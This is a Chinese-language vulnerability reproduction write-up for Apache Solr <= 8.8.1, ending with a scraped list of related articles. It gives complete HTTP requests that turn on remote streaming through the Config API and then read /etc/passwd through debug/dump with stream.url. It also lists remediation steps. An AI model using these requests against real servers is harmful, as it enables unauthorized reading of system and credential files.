简介

Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本(如Word、PDF)的处理。Solr是高度可扩展的,并提供了分布式搜索和索引复制。Solr是最流行的企业级搜索引擎,Solr 4还增加了NoSQL支持。
Solr是用Java编写、运行在Servlet容器(如Apache Tomcat或Jetty)的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索,并具有类似REST的HTTP/XML和JSON的API。 Solr强大的外部配置功能使得无需进行Java编码,便可对其进行调整以适应多种类型的应用程序。Solr有一个插件架构,以支持更多的高级定制。

影响范围

Apache Solr <= 8.8.1

漏洞详情

1、访问solr后台

2、获取core中的name
http://example.com/solr/admin/cores?indexInfo=false&wt=json

3、判断漏洞是否存在
数据包:

POST /solr/new_core/config HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}


发送数据包,并根据返回信息判断漏洞是否存在。若返回状态码为200且含有: “WARNING”:“This response format is experimental. It is likely to change in the future.”,则可以判断漏洞可能存在

4、漏洞利用
利用漏洞读取文件
数据包:

POST /solr/new_core/debug/dump?param=ContentStreams HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29stream.url=file:///etc/passwd

http://example.com/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

修复方式

1、控制solr访问权限,增加访问口令
2、不对外网开放solr
3、关闭ConfigAPI:在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true;然后关闭远程读取文件流,默认不开启

Apache Solr 任意文件读取相关推荐

  1. Apache Solr任意文件读取漏洞复现

    Apache Solr任意文件读取漏洞复现 一.简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格 ...

  2. .exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)

    一.环境搭建: 进入镜像目录: cd vulhub/mini_httpd/CVE-2018-18778 启动环境: docker-compose up -d 访问8088端口 二.漏洞描述: Mini ...

  3. Grafana 中存在严重的未授权任意文件读取漏洞,已遭利用

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Grafana Labs 发布紧急安全更新,修复了影响该公司主产品 Grafana 仪表盘中的严重漏洞 (CVE-2021-43798),CVS ...

  4. 【MetInfo任意文件读取】--任意文件读取漏洞

    文章目录 漏洞信息 一.漏洞产生的原因 二.漏洞利用 1.对靶机网址进行burp抓包 2.对上述请求包进行修改 三.漏洞修复与绕过--四种修复与绕过 1.置空../和./ 2.对$dir进行判断 3. ...

  5. 任意文件读取漏洞知识梳理

    文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...

  6. 任意文件读取与下载漏洞学习

    原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...

  7. 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞

    文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...

  8. CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

    title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...

  9. 目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞

    目录 目录浏览(目录遍历)漏洞 任意文件读取/下载漏洞 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件 ...

最新文章

  1. 现代hy-9600音响_从音响工程师到软件工程师-为什么我要学习编码
  2. 用bochs调试自己写的系统引导代码
  3. 转【FullPage.js 应用参数参考与简单调用】
  4. binder,hwbinder,vndbinder之间的关系
  5. PHP curl_setopt函数用法介绍
  6. 用Chntpw cd disk 或老毛桃清除WIN7和2008密码
  7. Servlet(2) 三个域对象
  8. POJ3348 Cows
  9. Qt编译Mysql驱动
  10. 贝叶斯公式的理解——机器学习算法(一)
  11. Origin 2021 创建双y轴
  12. 浮动QQ在线客服代码,兼容各大浏览器
  13. 数通学习网络协议地图
  14. 电脑桌面便签软件怎么新建内容?
  15. 中国各阶级收入划分2019年10月
  16. 《灵飞经》②东岛门人 第四章 星隐真人
  17. matlab信道容量函数,信息论-matlab求信道容量(迭代法) | 学步园
  18. 我看无损音频APE和FLAC
  19. 兔子与兔子 字符串hash
  20. Linux部署集群入门

热门文章

  1. 运放电压和电流负反馈的讨论
  2. java.lang.IncompatibleClassChangeError 常见错误
  3. 万众电子期刊在线阅读系统(awd复现)
  4. notability整理归档_ipad记手写笔记软件 Notability的使用方法图解教程
  5. 无线路由器连接有线路由器实现同网段无线上网---第二种
  6. 结构体、共用体、位操作和枚举类型
  7. Vue报错Duplicate keys found unique.
  8. 苹果手机壳_外观防护兼具,5款时尚简约苹果XS Max手机壳精选
  9. 基于UML的软件开发过程
  10. SQL查询语句练习(一)